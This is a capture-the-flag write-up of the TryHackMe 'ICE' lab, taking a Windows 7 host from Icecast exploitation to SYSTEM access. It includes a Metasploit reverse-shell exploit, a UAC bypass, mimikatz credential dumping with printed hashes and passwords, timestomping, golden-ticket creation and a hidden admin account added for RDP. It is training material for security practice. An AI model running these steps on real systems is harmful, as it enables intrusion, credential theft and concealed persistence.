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# TryHackMe-ICE CTF
> Abdullah Rizwan | 09 September ,09 : 05 PM
## NMAP
```
export IP=10.10.215.129
```
It is a good practice to scan all ports so we are going to use this syntax
```
nmap -T4 -A -p- $IP
```
```
Host is up (0.17s latency).
Not shown: 65523 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp open ssl/ms-wbt-server?
|_ssl-date: 2020-09-09T16:59:43+00:00; -8h59m59s from scanner time.
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
8000/tcp open http Icecast streaming media server
|_http-title: Site doesn't have a title (text/html).
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
49159/tcp open msrpc Microsoft Windows RPC
49161/tcp open msrpc Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=9/9%OT=135%CT=1%CU=32788%PV=Y%DS=2%DC=T%G=Y%TM=5F5988C
OS:7%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=104%TI=I%CI=I%II=I%SS=S%TS=
OS:7)OPS(O1=M508NW8ST11%O2=M508NW8ST11%O3=M508NW8NNT11%O4=M508NW8ST11%O5=M5
OS:08NW8ST11%O6=M508ST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=200
OS:0)ECN(R=Y%DF=Y%T=80%W=2000%O=M508NW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S
OS:+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%
OS:T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=
OS:0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%
OS:S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(
OS:R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=
OS:N%T=80%CD=Z)
Network Distance: 2 hops
Host script results:
|_clock-skew: mean: -7h44m58s, deviation: 2h30m00s, median: -8h59m59s
|_nbstat: NetBIOS name: DARK-PC, NetBIOS user: <unknown>, NetBIOS MAC: 02:a7:8e:88:a9:05 (unknown)
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: Dark-PC
| NetBIOS computer name: DARK-PC\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2020-09-09T11:59:35-05:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-09-09T16:59:35
|_ start_date: 2020-09-09T16:11:28
TRACEROUTE (using port 199/tcp)
HOP RTT ADDRESS
1 177.21 ms 10.8.0.1
2 180.01 ms 10.10.215.129
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 931.07 seconds
```
## Metaslpoit
Now we can look for `icecast` in msfconsole and there is a vulnerability for icecast
https://www.cvedetails.com/cve/CVE-2004-1561/
```
search icecast
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/http/icecast_header 2004-09-28 great No Icecast Header Overwrite
```
Use this exploit and change settings according to your `tun0` and `machine_ip`.
```
Module options (exploit/windows/http/icecast_header):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 10.10.215.129 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8000 yes The target port (TCP)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.8.94.60 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
```
```
exploit
[*] Started reverse TCP handler on 10.8.94.60:4444
[*] Sending stage (176195 bytes) to 10.10.215.129
[*] Meterpreter session 1 opened (10.8.94.60:4444 -> 10.10.215.129:49264) at 2020-09-09 22:18:29 -0400
meterpreter >
```
```
getuid
Server username: Dark-PC\Dark
meterpreter > sysinfo
Computer : DARK-PC
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
```
## Privilege Escalation
Since we are not the administrator of this box we can run build module to look for privilege escalation
```
meterpreter > run post/multi/recon/local_exploit_suggester
[*] 10.10.215.129 - Collecting local exploits for x86/windows...
[*] 10.10.215.129 - 34 exploit checks are being tried...
[+] 10.10.215.129 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
nil versions are discouraged and will be deprecated in Rubygems 4
[+] 10.10.215.129 - exploit/windows/local/ikeext_service: The target appears to be vulnerable.
[+] 10.10.215.129 - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable.
[+] 10.10.215.129 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.
[+] 10.10.215.129 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.215.129 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.215.129 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 10.10.215.129 - exploit/windows/local/ntusermndragover: The target appears to be vulnerable.
[+] 10.10.215.129 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
meterpreter >
```
Now selecting the first exploit found we are going to background `ctrl+z` our session.
```
msf5 exploit(windows/http/icecast_header) > use exploit/windows/local/bypassuac_eventvwr
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf5 exploit(windows/local/bypassuac_eventvwr) > show options
Module options (exploit/windows/local/bypassuac_eventvwr):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.6 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows x86
msf5 exploit(windows/local/bypassuac_eventvwr) > set SESSION 1
SESSION => 1
msf5 exploit(windows/local/bypassuac_eventvwr) > set LHOST 10.8.94.60
LHOST => 10.8.94.60
msf5 exploit(windows/local/bypassuac_eventvwr) >
```
When we run this exploit we will have another session created
```
exploit
[*] Started reverse TCP handler on 10.8.94.60:4444
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Configuring payload and stager registry keys ...
[*] Executing payload: C:\Windows\SysWOW64\eventvwr.exe
[+] eventvwr.exe executed successfully, waiting 10 seconds for the payload to execute.
[*] Sending stage (176195 bytes) to 10.10.215.129
[*] Meterpreter session 2 opened (10.8.94.60:4444 -> 10.10.215.129:49278) at 2020-09-09 22:30:01 -0400
```
Now we have to see which process is running as `authoritiy`
```
PID PPID Name Arch Session User Path [48/1936]
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System x64 0
384 3124 powershell.exe x86 1 Dark-PC\Dark C:\Windows\SysWOW64\WindowsPowershell\v1.0\powershell.exe
416 4 smss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\smss.exe
500 692 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
544 536 csrss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\csrss.exe
552 692 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\svchost.exe
588 692 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
592 536 wininit.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\wininit.exe
604 584 csrss.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\csrss.exe
652 584 winlogon.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\winlogon.exe
692 592 services.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\services.exe
700 592 lsass.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\lsass.exe
708 592 lsm.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\lsm.exe
812 692 sppsvc.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\sppsvc.exe
816 692 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
884 692 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\svchost.exe
932 692 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
1060 692 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
1188 692 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\svchost.exe
1296 500 dwm.exe x64 1 Dark-PC\Dark C:\Windows\System32\dwm.exe
1316 1288 explorer.exe x64 1 Dark-PC\Dark C:\Windows\explorer.exe
1392 692 spoolsv.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\spoolsv.exe
1420 692 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
1476 692 taskhost.exe x64 1 Dark-PC\Dark C:\Windows\System32\taskhost.exe
1596 692 amazon-ssm-agent.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe
1668 692 LiteAgent.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\Amazon\Xentools\LiteAgent.exe
1708 692 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
1900 692 Ec2Config.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\Amazon\Ec2ConfigService\Ec2Config.exe
1984 1316 Icecast2.exe x86 1 Dark-PC\Dark C:\Program Files (x86)\Icecast2 Win32\Icecast2.exe
2132 816 slui.exe x64 1 Dark-PC\Dark C:\Windows\System32\slui.exe
2244 692 vds.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\vds.exe
2268 816 WmiPrvSE.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\wbem\WmiPrvSE.exe
2512 692 TrustedInstaller.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\servicing\TrustedInstaller.exe
2572 1984 cmd.exe x86 1 Dark-PC\Dark C:\Windows\SysWOW64\cmd.exe
2676 816 rundll32.exe x64 1 Dark-PC\Dark C:\Windows\System32\rundll32.exe
2724 2676 dinotify.exe x64 1 Dark-PC\Dark C:\Windows\System32\dinotify.exe
3680 604 conhost.exe x64 1 Dark-PC\Dark C:\Windows\System32\conhost.exe
3728 604 conhost.exe x64 1 Dark-PC\Dark C:\Windows\System32\conhost.exe
```
Here `spoolsv.exe` is ruuning as authority and we can take advantage of that by `migrating` into that process.
```
migrate -N spoolsv.exe
[*] Migrating from 384 to 1392...
[*] Migration completed successfully.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```
## Kiwi
```
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
Success.
Kiwi Commands
=============
Command Description
------- -----------
creds_all Retrieve all credentials (parsed)
creds_kerberos Retrieve Kerberos creds (parsed)
creds_msv Retrieve LM/NTLM creds (parsed)
creds_ssp Retrieve SSP creds
creds_tspkg Retrieve TsPkg creds (parsed)
creds_wdigest Retrieve WDigest creds (parsed)
dcsync Retrieve user account information via DCSync (unparsed)
dcsync_ntlm Retrieve user account NTLM hash, SID and RID via DCSync
golden_ticket_create Create a golden kerberos ticket
kerberos_ticket_list List all kerberos tickets (unparsed)
kerberos_ticket_purge Purge any in-use kerberos tickets
kerberos_ticket_use Use a kerberos ticket
kiwi_cmd Execute an arbitary mimikatz command (unparsed)
lsa_dump_sam Dump LSA SAM (unparsed)
lsa_dump_secrets Dump LSA secrets (unparsed)
password_change Change the password/hash of a user
wifi_list List wifi profiles/creds for the current user
wifi_list_shared List shared wifi profiles/creds (requires SYSTEM)
```
Now using `creds_all` to retreive the password in parsed form
```
eterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============
Username Domain LM NTLM SHA1
-------- ------ -- ---- ----
Dark Dark-PC e52cac67419a9a22ecb08369099ed302 7c4fe5eada682714a036e39378362bab 0d082c4b4f2aeafb67fd0ea568a997e9d3ebc0eb
wdigest credentials
===================
Username Domain Password
-------- ------ --------
(null) (null) (null)
DARK-PC$ WORKGROUP (null)
Dark Dark-PC Password01!
tspkg credentials
=================
Username Domain Password
-------- ------ --------
Dark Dark-PC Password01!
kerberos credentials
====================
Username Domain Password
-------- ------ --------
(null) (null) (null)
Dark Dark-PC Password01!
dark-pc$ WORKGROUP (null)
```
While more useful when interacting with a machine being used, what command allows us to watch the remote user's desktop in real time?
```
screenshare
```
How about if we wanted to record from a microphone attached to the system?
```
record mic
```
To complicate forensics efforts we can modify timestamps of files on the system. What command allows us to do this? Don't ever do this on a pentest unless you're explicitly allowed to do so! This is not beneficial to the defending team as they try to breakdown the events of the pentest after the fact.
```
timestomp
```
Mimikatz allows us to create what's called a `golden ticket`, allowing us to authenticate anywhere with ease. What command allows us to do this?
Golden ticket attacks are a function within Mimikatz which abuses a component to Kerberos (the authentication system in Windows domains), the ticket-granting ticket. In short, golden ticket attacks allow us to maintain persistence and authenticate as any user on the domain.
```
golden_ticket_create
```
# Extra
## RDP
If you want to remotely connect to the box and use it's GUI you can do that by checking if `rdp` is enabled on that box
```
meterpreter > run post/windows/manage/enable_rdp
[*] Enabling Remote Desktop
[*] RDP is already enabled
[*] Setting Terminal Services service startup mode
[*] The Terminal Services service is not set to auto, changing it to auto ...
[*] Opening port in local firewall if necessary
[*] For cleanup execute Meterpreter resource file: /root/.msf4/loot/20200909230409_default_10.10.215.129_host.windows.cle_189827.txt
```
If you want you can add a new user as long as your `Authority`
```
terpreter > run getgui -u arz -p Password01!
[!] Meterpreter scripts are deprecated. Try post/windows/manage/enable_rdp.
[!] Example: run post/windows/manage/enable_rdp OPTION=value [...]
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Setting user account for logon
[*] Adding User: arz with Password: Password01!
[*] Hiding user from Windows Login screen
[*] Adding User: arz to local group 'Remote Desktop Users'
[*] Adding User: arz to local group 'Administrators'
[*] You can now login with the created user
[*] For cleanup use command: run multi_console_command -r /root/.msf4/logs/scripts/getgui/clean_up__20200909.1126.rc
```
Since `Dark` is logged in for now this would mess up the box if we try to login with a new user.
```
root@kali:~# rdesktop -u dark -p Password01! 10.10.215.129
Autoselecting keyboard map 'en-us' from locale
Core(warning): Certificate received from server is NOT trusted by this system, an exception has been added by the user to trust this specific certificate.
Failed to initialize NLA, do you have correct Kerberos TGT initialized ?
Core(warning): Certificate received from server is NOT trusted by this system, an exception has been added by the user to trust this specific certificate.
Connection established using SSL.
Protocol(warning): process_pdu_logon(), Unhandled login infotype 1
Clipboard(error): xclip_handle_SelectionNotify(), unable to find a textual target to satisfy RDP clipboard text request
```
<a href="https://imgur.com/7Dw4QmA"><img src="https://i.imgur.com/7Dw4QmA.png" title="source: imgur.com" /></a>